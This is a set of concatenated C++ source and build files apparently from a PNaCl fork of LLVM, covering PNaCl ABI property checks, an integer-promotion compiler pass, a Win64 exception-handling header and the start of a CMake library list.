<file_sep>/lib/Analysis/NaCl/PNaClABIProps.cpp
//===- PNaClABIProps.cpp - Verify PNaCl ABI Function Rules ----------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Verify function-level PNaCl ABI properties, at the construct level.
//
//
//===----------------------------------------------------------------------===//
#include "llvm/Analysis/NaCl.h"
#include "llvm/Analysis/NaCl/PNaClABIProps.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/LLVMContext.h"
#include "llvm/IR/Metadata.h"
using namespace llvm;
bool PNaClABIProps::isWhitelistedMetadata(unsigned MDKind) {
return MDKind == LLVMContext::MD_dbg && PNaClABIAllowDebugMetadata;
}
bool PNaClABIProps::isWhitelistedMetadata(const NamedMDNode *MD) {
return PNaClABIAllowDebugMetadata &&
(MD->getName().startswith("llvm.dbg.") ||
// "Debug Info Version" is in llvm.module.flags.
MD->getName().equals("llvm.module.flags"));
}
bool PNaClABIProps::
isAllowedAlignment(const DataLayout *DL, uint64_t Alignment,
const Type *Ty) {
// Non-atomic integer operations must always use "align 1", since we do not
// want the backend to generate code with non-portable undefined behaviour
// (such as misaligned access faults) if user code specifies "align 4" but
// uses a misaligned pointer. As a concession to performance, we allow larger
// alignment values for floating point types, and we only allow vectors to be
// aligned by their element's size.
//
// TODO(jfb) Allow vectors to be marked as align == 1. This requires proper
// testing on each supported ISA, and is probably not as common as
// align == elemsize.
//
// To reduce the set of alignment values that need to be encoded in pexes, we
// disallow other alignment values. We require alignments to be explicit by
// disallowing Alignment == 0.
if (Alignment > std::numeric_limits<uint64_t>::max() / CHAR_BIT)
return false; // No overflow assumed below.
else if (const VectorType *VTy = dyn_cast<VectorType>(Ty))
return !VTy->getElementType()->isIntegerTy(1) &&
(Alignment * CHAR_BIT ==
DL->getTypeSizeInBits(VTy->getElementType()));
else
return Alignment == 1 ||
(Ty->isDoubleTy() && Alignment == 8) ||
(Ty->isFloatTy() && Alignment == 4);
}
const char *PNaClABIProps::CallingConvName(CallingConv::ID CallingConv) {
// TODO(kschimpf): Add more calling conventions.
switch (CallingConv) {
case CallingConv::C: return "ccc";
case CallingConv::Fast: return "fastcc";
case CallingConv::Cold: return "cold";
default:
return "unknown";
}
}
const char *PNaClABIProps::LinkageName(GlobalValue::LinkageTypes LT) {
// This logic is taken from PrintLinkage in lib/IR/AsmWriter.cpp
switch (LT) {
case GlobalValue::ExternalLinkage: return "external";
case GlobalValue::PrivateLinkage: return "private";
case GlobalValue::InternalLinkage: return "internal";
case GlobalValue::LinkOnceAnyLinkage: return "linkonce";
case GlobalValue::LinkOnceODRLinkage: return "linkonce_odr";
case GlobalValue::WeakAnyLinkage: return "weak";
case GlobalValue::WeakODRLinkage: return "weak_odr";
case GlobalValue::CommonLinkage: return "common";
case GlobalValue::AppendingLinkage: return "appending";
case GlobalValue::ExternalWeakLinkage: return "extern_weak";
case GlobalValue::AvailableExternallyLinkage:
return "available_externally";
}
llvm_unreachable("unhandled GlobalValue::LinkageTypes");
}
bool PNaClABIProps::isValidGlobalLinkage(GlobalValue::LinkageTypes Linkage) {
switch (Linkage) {
case GlobalValue::ExternalLinkage:
return true;
case GlobalValue::InternalLinkage:
return true;
default:
return false;
}
}
<file_sep>/lib/Transforms/NaCl/PromoteIntegers.cpp
//===- PromoteIntegers.cpp - Promote illegal integers for PNaCl ABI -------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
// A limited set of transformations to promote illegal-sized int types.
//
//===----------------------------------------------------------------------===//
//
// Legal sizes are currently 1, 8, and large power-of-two sizes. Operations on
// illegal integers are changed to operate on the next-higher legal size.
//
// It maintains no invariants about the upper bits (above the size of the
// original type); therefore before operations which can be affected by the
// value of these bits (e.g. cmp, select, lshr), the upper bits of the operands
// are cleared.
//
// Limitations:
// 1) It can't change function signatures or global variables
// 2) Doesn't handle arrays or structs with illegal types
// 3) Doesn't handle constant expressions (it also doesn't produce them, so it
// can run after ExpandConstantExpr)
//
//===----------------------------------------------------------------------===//
#include "SimplifiedFuncTypeMap.h"
#include "llvm/ADT/DenseMap.h"
#include "llvm/ADT/SmallVector.h"
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/DebugInfo.h"
#include "llvm/IR/DerivedTypes.h"
#include "llvm/IR/Function.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Support/MathExtras.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/Transforms/NaCl.h"
using namespace llvm;
static Type *getPromotedType(Type *Ty);
namespace {
class TypeMap : public SimplifiedFuncTypeMap {
protected:
MappingResult getSimpleFuncType(LLVMContext &Ctx, StructMap &Tentatives,
FunctionType *OldFnTy) override {
ParamTypeVector NewArgTypes;
auto Ret = getPromotedArgType(Ctx, OldFnTy->getReturnType(), Tentatives);
bool Changed = Ret.isChanged();
for (auto &ArgTy : OldFnTy->params()) {
auto NewArgTy = getPromotedArgType(Ctx, ArgTy, Tentatives);
NewArgTypes.push_back(NewArgTy);
Changed |= NewArgTy.isChanged();
}
auto *NewFctType = FunctionType::get(Ret, NewArgTypes, OldFnTy->isVarArg());
return {NewFctType, Changed};
}
private:
MappingResult getPromotedArgType(LLVMContext &Ctx, Type *Ty,
StructMap &Tentatives) {
if (Ty->isIntegerTy()) {
auto *NTy = getPromotedType(Ty);
return {NTy, NTy != Ty};
}
return getSimpleAggregateTypeInternal(Ctx, Ty, Tentatives);
}
};
class PromoteIntegers : public ModulePass {
public:
static char ID;
PromoteIntegers() : ModulePass(ID) {
initializePromoteIntegersPass(*PassRegistry::getPassRegistry());
}
bool runOnModule(Module &M) override;
private:
typedef DenseMap<const llvm::Function *, DISubprogram> DebugMap;
TypeMap TypeMapper;
bool ensureCompliantSignature(LLVMContext &Ctx, Function *OldFct, Module &M,
DebugMap &DISubprogramMap);
};
} // anonymous namespace
char PromoteIntegers::ID = 0;
INITIALIZE_PASS(PromoteIntegers, "nacl-promote-ints",
"Promote integer types which are illegal in PNaCl", false,
false)
static bool isLegalSize(unsigned Size) {
return Size == 1 || (Size >= 8 && isPowerOf2_32(Size));
}
static Type *getPromotedIntType(IntegerType *Ty) {
auto Width = Ty->getBitWidth();
if (isLegalSize(Width))
return Ty;
assert(Width < (1ull << (sizeof(Width) * CHAR_BIT - 1)) &&
"width can't be rounded to the next power of two");
return IntegerType::get(Ty->getContext(),
Width < 8 ? 8 : NextPowerOf2(Width));
}
// Return a legal integer type, promoting to a larger size if necessary.
static Type *getPromotedType(Type *Ty) {
assert(isa<IntegerType>(Ty) && "Trying to convert a non-integer type");
return getPromotedIntType(cast<IntegerType>(Ty));
}
// Return true if Val is an int which should be converted.
static bool shouldConvert(Value *Val) {
if (auto *ITy = dyn_cast<IntegerType>(Val->getType()))
return !isLegalSize(ITy->getBitWidth());
return false;
}
// Return a constant which has been promoted to a legal size.
static Value *convertConstant(Constant *C, bool SignExt) {
assert(shouldConvert(C));
Type *ProTy = getPromotedType(C->getType());
// ConstantExpr of a Constant yields a Constant, not a ConstantExpr.
return SignExt ? ConstantExpr::getSExt(C, ProTy)
: ConstantExpr::getZExt(C, ProTy);
}
namespace {
// Holds the state for converting/replacing values. Conversion is done in one
// pass, with each value requiring conversion possibly having two stages. When
// an instruction needs to be replaced (i.e. it has illegal operands or result)
// a new instruction is created, and the pass calls getConverted to get its
// operands. If the original operand has already been converted, the new value
// is returned. Otherwise, a placeholder is created and used in the new
// instruction. After a new instruction is created to replace an illegal one,
// recordConverted is called to register the replacement. All users are updated,
// and if there is a placeholder, its users are also updated.
//
// recordConverted also queues the old value for deletion.
//
// This strategy avoids the need for recursion or worklists for conversion.
class ConversionState {
public:
// Return the promoted value for Val. If Val has not yet been converted,
// return a placeholder, which will be converted later.
Value *getConverted(Value *Val) {
if (!shouldConvert(Val))
return Val;
if (isa<GlobalVariable>(Val))
report_fatal_error("Can't convert illegal GlobalVariables");
if (RewrittenMap.count(Val))
return RewrittenMap[Val];
// Directly convert constants.
if (auto *C = dyn_cast<Constant>(Val))
return convertConstant(C, /*SignExt=*/false);
// No converted value available yet, so create a placeholder.
auto *P = new Argument(getPromotedType(Val->getType()));
RewrittenMap[Val] = P;
Placeholders[Val] = P;
return P;
}
// Replace the uses of From with To, replace the uses of any
// placeholders for From, and optionally give From's name to To.
// Also mark To for deletion.
void recordConverted(Instruction *From, Value *To, bool TakeName = true) {
ToErase.push_back(From);
if (!shouldConvert(From)) {
// From does not produce an illegal value, update its users in place.
From->replaceAllUsesWith(To);
} else {
// From produces an illegal value, so its users will be replaced. When
// replacements are created they will use values returned by getConverted.
if (Placeholders.count(From)) {
// Users of the placeholder can be updated in place.
Placeholders[From]->replaceAllUsesWith(To);
Placeholders.erase(From);
}
RewrittenMap[From] = To;
}
if (TakeName) {
To->takeName(From);
}
}
void eraseReplacedInstructions() {
for (Instruction *E : ToErase)
E->dropAllReferences();
for (Instruction *E : ToErase)
E->eraseFromParent();
}
private:
// Maps illegal values to their new converted values (or placeholders
// if no new value is available yet)
DenseMap<Value *, Value *> RewrittenMap;
// Maps illegal values with no conversion available yet to their placeholders
DenseMap<Value *, Value *> Placeholders;
// Illegal values which have already been converted, will be erased.
SmallVector<Instruction *, 8> ToErase;
};
} // anonymous namespace
// Create a BitCast instruction from the original Value being cast. These
// instructions aren't replaced by convertInstruction because they are pointer
// types (which are always valid), but their uses eventually lead to an invalid
// type.
static Value *CreateBitCast(IRBuilder<> *IRB, Value *From, Type *ToTy,
const Twine &Name) {
if (auto *BC = dyn_cast<BitCastInst>(From))
return CreateBitCast(IRB, BC->getOperand(0), ToTy, Name);
return IRB->CreateBitCast(From, ToTy, Name);
}
// Split an illegal load into multiple legal loads and return the resulting
// promoted value. The size of the load is assumed to be a multiple of 8.
//
// \param BaseAlign Alignment of the base load.
// \param Offset Offset from the base load.
static Value *splitLoad(DataLayout *DL, LoadInst *Inst, ConversionState &State,
unsigned BaseAlign, unsigned Offset) {
if (Inst->isVolatile() || Inst->isAtomic())
report_fatal_error("Can't split volatile/atomic loads");
if (DL->getTypeSizeInBits(Inst->getType()) % 8 != 0)
report_fatal_error("Loads must be a multiple of 8 bits");
auto *OrigPtr = State.getConverted(Inst->getPointerOperand());
// OrigPtr is a placeholder in recursive calls, and so has no name.
if (OrigPtr->getName().empty())
OrigPtr->setName(Inst->getPointerOperand()->getName());
unsigned Width = DL->getTypeSizeInBits(Inst->getType());
auto *NewType = getPromotedType(Inst->getType());
unsigned LoWidth = PowerOf2Floor(Width);
assert(isLegalSize(LoWidth));
auto *LoType = IntegerType::get(Inst->getContext(), LoWidth);
auto *HiType = IntegerType::get(Inst->getContext(), Width - LoWidth);
IRBuilder<> IRB(Inst);
auto *BCLo = CreateBitCast(&IRB, OrigPtr, LoType->getPointerTo(),
OrigPtr->getName() + ".loty");
auto *LoadLo = IRB.CreateAlignedLoad(BCLo, MinAlign(BaseAlign, Offset),
Inst->getName() + ".lo");
auto *LoExt = IRB.CreateZExt(LoadLo, NewType, LoadLo->getName() + ".ext");
auto *GEPHi = IRB.CreateConstGEP1_32(BCLo, 1, OrigPtr->getName() + ".hi");
auto *BCHi = CreateBitCast(&IRB, GEPHi, HiType->getPointerTo(),
OrigPtr->getName() + ".hity");
auto HiOffset = (Offset + LoWidth) / CHAR_BIT;
auto *LoadHi = IRB.CreateAlignedLoad(BCHi, MinAlign(BaseAlign, HiOffset),
Inst->getName() + ".hi");
auto *Hi = !isLegalSize(Width - LoWidth)
? splitLoad(DL, LoadHi, State, BaseAlign, HiOffset)
: LoadHi;
auto *HiExt = IRB.CreateZExt(Hi, NewType, Hi->getName() + ".ext");
auto *HiShift = IRB.CreateShl(HiExt, LoWidth, HiExt->getName() + ".sh");
auto *Result = IRB.CreateOr(LoExt, HiShift);
State.recordConverted(Inst, Result);
return Result;
}
static Value *splitStore(DataLayout *DL, StoreInst *Inst,
ConversionState &State, unsigned BaseAlign,
unsigned Offset) {
if (Inst->isVolatile() || Inst->isAtomic())
report_fatal_error("Can't split volatile/atomic stores");
if (DL->getTypeSizeInBits(Inst->getValueOperand()->getType()) % 8 != 0)
report_fatal_error("Stores must be a multiple of 8 bits");
auto *OrigPtr = State.getConverted(Inst->getPointerOperand());
// OrigPtr is now a placeholder in recursive calls, and so has no name.
if (OrigPtr->getName().empty())
OrigPtr->setName(Inst->getPointerOperand()->getName());
auto *OrigVal = State.getConverted(Inst->getValueOperand());
unsigned Width = DL->getTypeSizeInBits(Inst->getValueOperand()->getType());
unsigned LoWidth = PowerOf2Floor(Width);
assert(isLegalSize(LoWidth));
auto *LoType = IntegerType::get(Inst->getContext(), LoWidth);
auto *HiType = IntegerType::get(Inst->getContext(), Width - LoWidth);
IRBuilder<> IRB(Inst);
auto *BCLo = CreateBitCast(&IRB, OrigPtr, LoType->getPointerTo(),
OrigPtr->getName() + ".loty");
auto *LoTrunc = IRB.CreateTrunc(OrigVal, LoType, OrigVal->getName() + ".lo");
IRB.CreateAlignedStore(LoTrunc, BCLo, MinAlign(BaseAlign, Offset));
auto HiOffset = (Offset + LoWidth) / CHAR_BIT;
auto *HiLShr =
IRB.CreateLShr(OrigVal, LoWidth, OrigVal->getName() + ".hi.sh");
auto *GEPHi = IRB.CreateConstGEP1_32(BCLo, 1, OrigPtr->getName() + ".hi");
auto *HiTrunc = IRB.CreateTrunc(HiLShr, HiType, OrigVal->getName() + ".hi");
auto *BCHi = CreateBitCast(&IRB, GEPHi, HiType->getPointerTo(),
OrigPtr->getName() + ".hity");
auto *StoreHi =
IRB.CreateAlignedStore(HiTrunc, BCHi, MinAlign(BaseAlign, HiOffset));
Value *Hi = StoreHi;
if (!isLegalSize(Width - LoWidth)) {
// HiTrunc is still illegal, and is redundant with the truncate in the
// recursive call, so just get rid of it. If HiTrunc is a constant then the
// IRB will have just returned a shifted, truncated constant, which is
// already uniqued (and does not need to be RAUWed), and recordConverted
// expects constants.
if (!isa<Constant>(HiTrunc))
State.recordConverted(cast<Instruction>(HiTrunc), HiLShr,
/*TakeName=*/false);
Hi = splitStore(DL, StoreHi, State, BaseAlign, HiOffset);
}
State.recordConverted(Inst, Hi, /*TakeName=*/false);
return Hi;
}
// Return a converted value with the bits of the operand above the size of the
// original type cleared.
static Value *getClearConverted(Value *Operand, Instruction *InsertPt,
ConversionState &State) {
auto *OrigType = Operand->getType();
auto *OrigInst = dyn_cast<Instruction>(Operand);
Operand = State.getConverted(Operand);
// If the operand is a constant, it will have been created by
// ConversionState.getConverted, which zero-extends by default.
if (isa<Constant>(Operand))
return Operand;
Instruction *NewInst = BinaryOperator::Create(
Instruction::And, Operand,
ConstantInt::get(
getPromotedType(OrigType),
APInt::getLowBitsSet(getPromotedType(OrigType)->getIntegerBitWidth(),
OrigType->getIntegerBitWidth())),
Operand->getName() + ".clear", InsertPt);
if (OrigInst)
CopyDebug(NewInst, OrigInst);
return NewInst;
}
// Return a value with the bits of the operand above the size of the original
// type equal to the sign bit of the original operand. The new operand is
// assumed to have been legalized already.
// This is done by shifting the sign bit of the smaller value up to the MSB
// position in the larger size, and then arithmetic-shifting it back down.
static Value *getSignExtend(Value *Operand, Value *OrigOperand,
Instruction *InsertPt) {
// If OrigOperand was a constant, NewOperand will have been created by
// ConversionState.getConverted, which zero-extends by default. But that is
// wrong here, so replace it with a sign-extended constant.
if (Constant *C = dyn_cast<Constant>(OrigOperand))
return convertConstant(C, /*SignExt=*/true);
Type *OrigType = OrigOperand->getType();
ConstantInt *ShiftAmt =
ConstantInt::getSigned(cast<IntegerType>(getPromotedType(OrigType)),
getPromotedType(OrigType)->getIntegerBitWidth() -
OrigType->getIntegerBitWidth());
BinaryOperator *Shl =
BinaryOperator::Create(Instruction::Shl, Operand, ShiftAmt,
Operand->getName() + ".getsign", InsertPt);
if (Instruction *Inst = dyn_cast<Instruction>(OrigOperand))
CopyDebug(Shl, Inst);
return CopyDebug(BinaryOperator::Create(Instruction::AShr, Shl, ShiftAmt,
Operand->getName() + ".signed",
InsertPt),
Shl);
}
static void convertInstruction(DataLayout *DL, Instruction *Inst,
ConversionState &State) {
if (SExtInst *Sext = dyn_cast<SExtInst>(Inst)) {
Value *Op = Sext->getOperand(0);
Value *NewInst = nullptr;
// If the operand to be extended is illegal, we first need to fill its
// upper bits with its sign bit.
if (shouldConvert(Op)) {
NewInst = getSignExtend(State.getConverted(Op), Op, Sext);
}
// If the converted type of the operand is the same as the converted
// type of the result, we won't actually be changing the type of the
// variable, just its value.
if (getPromotedType(Op->getType()) != getPromotedType(Sext->getType())) {
NewInst = CopyDebug(
new SExtInst(NewInst ? NewInst : State.getConverted(Op),
getPromotedType(cast<IntegerType>(Sext->getType())),
Sext->getName() + ".sext", Sext),
Sext);
}
assert(NewInst && "Failed to convert sign extension");
State.recordConverted(Sext, NewInst);
} else if (ZExtInst *Zext = dyn_cast<ZExtInst>(Inst)) {
Value *Op = Zext->getOperand(0);
Value *NewInst = nullptr;
if (shouldConvert(Op)) {
NewInst = getClearConverted(Op, Zext, State);
}
// If the converted type of the operand is the same as the converted
// type of the result, we won't actually be changing the type of the
// variable, just its value.
if (getPromotedType(Op->getType()) != getPromotedType(Zext->getType())) {
NewInst = CopyDebug(
CastInst::CreateZExtOrBitCast(
NewInst ? NewInst : State.getConverted(Op),
getPromotedType(cast<IntegerType>(Zext->getType())), "", Zext),
Zext);
}
assert(NewInst);
State.recordConverted(Zext, NewInst);
} else if (TruncInst *Trunc = dyn_cast<TruncInst>(Inst)) {
Value *Op = Trunc->getOperand(0);
Value *NewInst;
// If the converted type of the operand is the same as the converted
// type of the result, we don't actually need to change the type of the
// variable, just its value. However, because we don't care about the values
// of the upper bits until they are consumed, truncation can be a no-op.
if (getPromotedType(Op->getType()) != getPromotedType(Trunc->getType())) {
NewInst = CopyDebug(
new TruncInst(State.getConverted(Op),
getPromotedType(cast<IntegerType>(Trunc->getType())),
State.getConverted(Op)->getName() + ".trunc", Trunc),
Trunc);
} else {
NewInst = State.getConverted(Op);
}
State.recordConverted(Trunc, NewInst);
} else if (LoadInst *Load = dyn_cast<LoadInst>(Inst)) {
if (shouldConvert(Load)) {
unsigned BaseAlign = Load->getAlignment() == 0
? DL->getABITypeAlignment(Load->getType())
: Load->getAlignment();
splitLoad(DL, Load, State, BaseAlign, /*Offset=*/0);
}
} else if (StoreInst *Store = dyn_cast<StoreInst>(Inst)) {
if (shouldConvert(Store->getValueOperand())) {
unsigned BaseAlign =
Store->getAlignment() == 0
? DL->getABITypeAlignment(Store->getValueOperand()->getType())
: Store->getAlignment();
splitStore(DL, Store, State, BaseAlign, /*Offset=*/0);
}
} else if (isa<InvokeInst>(Inst) || isa<CallInst>(Inst) ||
isa<LandingPadInst>(Inst)) {
for (unsigned I = 0; I < Inst->getNumOperands(); I++) {
auto *Arg = Inst->getOperand(I);
if (shouldConvert(Arg))
Inst->setOperand(I, State.getConverted(Arg));
}
if (shouldConvert(Inst)) {
Inst->mutateType(getPromotedType(Inst->getType()));
}
} else if (auto *Ret = dyn_cast<ReturnInst>(Inst)) {
auto *NewRet = ReturnInst::Create(
Ret->getContext(), State.getConverted(Ret->getReturnValue()), Inst);
State.recordConverted(Ret, NewRet);
} else if (auto *Resume = dyn_cast<ResumeInst>(Inst)) {
auto *NewRes =
ResumeInst::Create(State.getConverted(Resume->getValue()), Inst);
State.recordConverted(Ret, NewRes);
} else if (BinaryOperator *Binop = dyn_cast<BinaryOperator>(Inst)) {
Value *NewInst = nullptr;
switch (Binop->getOpcode()) {
case Instruction::AShr: {
// The AShr operand needs to be sign-extended to the promoted size
// before shifting. Because the sign-extension is implemented with
// with AShr, it can be combined with the original operation.
Value *Op = Binop->getOperand(0);
Value *ShiftAmount = nullptr;
APInt SignShiftAmt =
APInt(getPromotedType(Op->getType())->getIntegerBitWidth(),
getPromotedType(Op->getType())->getIntegerBitWidth() -
Op->getType()->getIntegerBitWidth());
NewInst = CopyDebug(
BinaryOperator::Create(
Instruction::Shl, State.getConverted(Op),
ConstantInt::get(getPromotedType(Op->getType()), SignShiftAmt),
State.getConverted(Op)->getName() + ".getsign", Binop),
Binop);
if (ConstantInt *C =
dyn_cast<ConstantInt>(State.getConverted(Binop->getOperand(1)))) {
ShiftAmount = ConstantInt::get(getPromotedType(Op->getType()),
SignShiftAmt + C->getValue());
} else {
// Clear the upper bits of the original shift amount, and add back the
// amount we shifted to get the sign bit.
ShiftAmount = getClearConverted(Binop->getOperand(1), Binop, State);
ShiftAmount =
CopyDebug(BinaryOperator::Create(
Instruction::Add, ShiftAmount,
ConstantInt::get(
getPromotedType(Binop->getOperand(1)->getType()),
SignShiftAmt),
State.getConverted(Op)->getName() + ".shamt", Binop),
Binop);
}
NewInst = CopyDebug(
BinaryOperator::Create(Instruction::AShr, NewInst, ShiftAmount,
Binop->getName() + ".result", Binop),
Binop);
break;
}
case Instruction::LShr:
case Instruction::Shl: {
// For LShr, clear the upper bits of the operand before shifting them
// down into the valid part of the value.
Value *Op = Binop->getOpcode() == Instruction::LShr
? getClearConverted(Binop->getOperand(0), Binop, State)
: State.getConverted(Binop->getOperand(0));
NewInst = BinaryOperator::Create(
Binop->getOpcode(), Op,
// Clear the upper bits of the shift amount.
getClearConverted(Binop->getOperand(1), Binop, State),
Binop->getName() + ".result", Binop);
break;
}
case Instruction::Add:
case Instruction::Sub:
case Instruction::Mul:
case Instruction::And:
case Instruction::Or:
case Instruction::Xor:
// These operations don't care about the state of the upper bits.
NewInst = CopyDebug(
BinaryOperator::Create(Binop->getOpcode(),
State.getConverted(Binop->getOperand(0)),
State.getConverted(Binop->getOperand(1)),
Binop->getName() + ".result", Binop),
Binop);
break;
case Instruction::UDiv:
case Instruction::URem:
NewInst =
CopyDebug(BinaryOperator::Create(
Binop->getOpcode(),
getClearConverted(Binop->getOperand(0), Binop, State),
getClearConverted(Binop->getOperand(1), Binop, State),
Binop->getName() + ".result", Binop),
Binop);
break;
case Instruction::SDiv:
case Instruction::SRem:
NewInst =
CopyDebug(BinaryOperator::Create(
Binop->getOpcode(),
getSignExtend(State.getConverted(Binop->getOperand(0)),
Binop->getOperand(0), Binop),
getSignExtend(State.getConverted(Binop->getOperand(1)),
Binop->getOperand(0), Binop),
Binop->getName() + ".result", Binop),
Binop);
break;
case Instruction::FAdd:
case Instruction::FSub:
case Instruction::FMul:
case Instruction::FDiv:
case Instruction::FRem:
case Instruction::BinaryOpsEnd:
// We should not see FP operators here.
errs() << *Inst << "\n";
llvm_unreachable("Cannot handle binary operator");
break;
}
if (isa<OverflowingBinaryOperator>(NewInst)) {
cast<BinaryOperator>(NewInst)
->setHasNoUnsignedWrap(Binop->hasNoUnsignedWrap());
cast<BinaryOperator>(NewInst)
->setHasNoSignedWrap(Binop->hasNoSignedWrap());
}
State.recordConverted(Binop, NewInst);
} else if (ICmpInst *Cmp = dyn_cast<ICmpInst>(Inst)) {
Value *Op0, *Op1;
// For signed compares, operands are sign-extended to their
// promoted type. For unsigned or equality compares, the upper bits are
// cleared.
if (Cmp->isSigned()) {
Op0 = getSignExtend(State.getConverted(Cmp->getOperand(0)),
Cmp->getOperand(0), Cmp);
Op1 = getSignExtend(State.getConverted(Cmp->getOperand(1)),
Cmp->getOperand(1), Cmp);
} else {
Op0 = getClearConverted(Cmp->getOperand(0), Cmp, State);
Op1 = getClearConverted(Cmp->getOperand(1), Cmp, State);
}
Instruction *NewInst =
CopyDebug(new ICmpInst(Cmp, Cmp->getPredicate(), Op0, Op1, ""), Cmp);
State.recordConverted(Cmp, NewInst);
} else if (SelectInst *Select = dyn_cast<SelectInst>(Inst)) {
Instruction *NewInst = CopyDebug(
SelectInst::Create(
Select->getCondition(), State.getConverted(Select->getTrueValue()),
State.getConverted(Select->getFalseValue()), "", Select),
Select);
State.recordConverted(Select, NewInst);
} else if (PHINode *Phi = dyn_cast<PHINode>(Inst)) {
PHINode *NewPhi = PHINode::Create(getPromotedType(Phi->getType()),
Phi->getNumIncomingValues(), "", Phi);
CopyDebug(NewPhi, Phi);
for (unsigned I = 0, E = Phi->getNumIncomingValues(); I < E; ++I) {
NewPhi->addIncoming(State.getConverted(Phi->getIncomingValue(I)),
Phi->getIncomingBlock(I));
}
State.recordConverted(Phi, NewPhi);
} else if (SwitchInst *Switch = dyn_cast<SwitchInst>(Inst)) {
Value *Condition = getClearConverted(Switch->getCondition(), Switch, State);
SwitchInst *NewInst = SwitchInst::Create(
Condition, Switch->getDefaultDest(), Switch->getNumCases(), Switch);
CopyDebug(NewInst, Switch);
for (SwitchInst::CaseIt I = Switch->case_begin(), E = Switch->case_end();
I != E; ++I) {
NewInst->addCase(cast<ConstantInt>(convertConstant(I.getCaseValue(),
/*SignExt=*/false)),
I.getCaseSuccessor());
}
Switch->eraseFromParent();
} else {
errs() << *Inst << "\n";
llvm_unreachable("unhandled instruction");
}
}
static bool processFunction(Function &F, DataLayout &DL) {
ConversionState State;
bool Modified;
for (auto FI = F.begin(), FE = F.end(); FI != FE; ++FI) {
for (auto BBI = FI->begin(), BBE = FI->end(); BBI != BBE;) {
Instruction *Inst = BBI++;
// Only attempt to convert an instruction if its result or any of its
// operands are illegal.
bool ShouldConvert = shouldConvert(Inst);
for (auto OI = Inst->op_begin(), OE = Inst->op_end(); OI != OE; ++OI)
ShouldConvert |= shouldConvert(cast<Value>(OI));
if (ShouldConvert) {
convertInstruction(&DL, Inst, State);
Modified = true;
}
}
}
State.eraseReplacedInstructions();
if (Modified)
// Clean up bitcasts that were create with constexprs in them.
std::unique_ptr<FunctionPass>(createExpandConstantExprPass())
->runOnFunction(F);
return Modified;
}
bool PromoteIntegers::ensureCompliantSignature(
LLVMContext &Ctx, Function *OldFct, Module &M,
DenseMap<const llvm::Function *, DISubprogram> &DISubprogramMap) {
auto *NewFctType = cast<FunctionType>(
TypeMapper.getSimpleType(Ctx, OldFct->getFunctionType()));
if (NewFctType == OldFct->getFunctionType())
return false;
auto *NewFct = Function::Create(NewFctType, OldFct->getLinkage(), "", &M);
NewFct->takeName(OldFct);
NewFct->copyAttributesFrom(OldFct);
for (auto UseIter = OldFct->use_begin(), E = OldFct->use_end();
E != UseIter;) {
Use &FctUse = *(UseIter++);
// Types are not going to match after this.
FctUse.set(NewFct);
}
if (OldFct->empty())
return true;
NewFct->getBasicBlockList().splice(NewFct->begin(),
OldFct->getBasicBlockList());
IRBuilder<> Builder(NewFct->getEntryBlock().getFirstInsertionPt());
auto OldArgIter = OldFct->getArgumentList().begin();
for (auto &NewArg : NewFct->getArgumentList()) {
Argument *OldArg = OldArgIter++;
if (OldArg->getType() != NewArg.getType()) {
if (NewArg.getType()->isIntegerTy()) {
auto *Replacement = Builder.CreateTrunc(&NewArg, OldArg->getType());
Replacement->takeName(OldArg);
NewArg.setName(Replacement->getName() + ".exp");
OldArg->replaceAllUsesWith(Replacement);
} else {
// Blindly replace the type of the uses, this is some composite
// like a function type.
NewArg.takeName(OldArg);
for (auto UseIter = OldArg->use_begin(), E = OldArg->use_end();
E != UseIter;) {
Use &AUse = *(UseIter++);
AUse.set(&NewArg);
}
}
} else {
NewArg.takeName(OldArg);
OldArg->replaceAllUsesWith(&NewArg);
}
}
auto Found = DISubprogramMap.find(OldFct);
if (Found != DISubprogramMap.end())
Found->second->replaceFunction(NewFct);
return true;
}
bool PromoteIntegers::runOnModule(Module &M) {
DataLayout DL(&M);
LLVMContext &Ctx = M.getContext();
bool Modified = false;
auto DISubprogramMap = makeSubprogramMap(M);
// Change function signatures first.
for (auto I = M.begin(), E = M.end(); I != E;) {
Function *F = I++;
bool Changed = ensureCompliantSignature(Ctx, F, M, DISubprogramMap);
if (Changed)
F->eraseFromParent();
Modified |= Changed;
}
for (auto &F : M.getFunctionList())
Modified |= processFunction(F, DL);
return Modified;
}
ModulePass *llvm::createPromoteIntegersPass() { return new PromoteIntegers(); }
<file_sep>/lib/CodeGen/AsmPrinter/Win64Exception.h
//===-- Win64Exception.h - Windows Exception Handling ----------*- C++ -*--===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains support for writing windows exception info into asm files.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_CODEGEN_ASMPRINTER_WIN64EXCEPTION_H
#define LLVM_LIB_CODEGEN_ASMPRINTER_WIN64EXCEPTION_H
#include "EHStreamer.h"
namespace llvm {
class GlobalValue;
class MachineFunction;
class MCExpr;
class Win64Exception : public EHStreamer {
/// Per-function flag to indicate if personality info should be emitted.
bool shouldEmitPersonality;
/// Per-function flag to indicate if the LSDA should be emitted.
bool shouldEmitLSDA;
/// Per-function flag to indicate if frame moves info should be emitted.
bool shouldEmitMoves;
void emitCSpecificHandlerTable();
void emitCXXFrameHandler3Table(const MachineFunction *MF);
const MCExpr *createImageRel32(const MCSymbol *Value);
const MCExpr *createImageRel32(const GlobalValue *GV);
public:
//===--------------------------------------------------------------------===//
// Main entry points.
//
Win64Exception(AsmPrinter *A);
~Win64Exception() override;
/// Emit all exception information that should come after the content.
void endModule() override;
/// Gather pre-function exception information. Assumes being emitted
/// immediately after the function entry point.
void beginFunction(const MachineFunction *MF) override;
/// Gather and emit post-function exception information.
void endFunction(const MachineFunction *) override;
};
}
#endif
<file_sep>/lib/Bitcode/NaCl/Reader/CMakeLists.txt
add_llvm_library(LLVMNaClBitReader
NaClBitCodes.cpp
NaClBitcodeHeader.cpp
NaClBitcodeReader.cpp
NaClBitstreamReader.cpp
NaClBitcodeParser.cpp
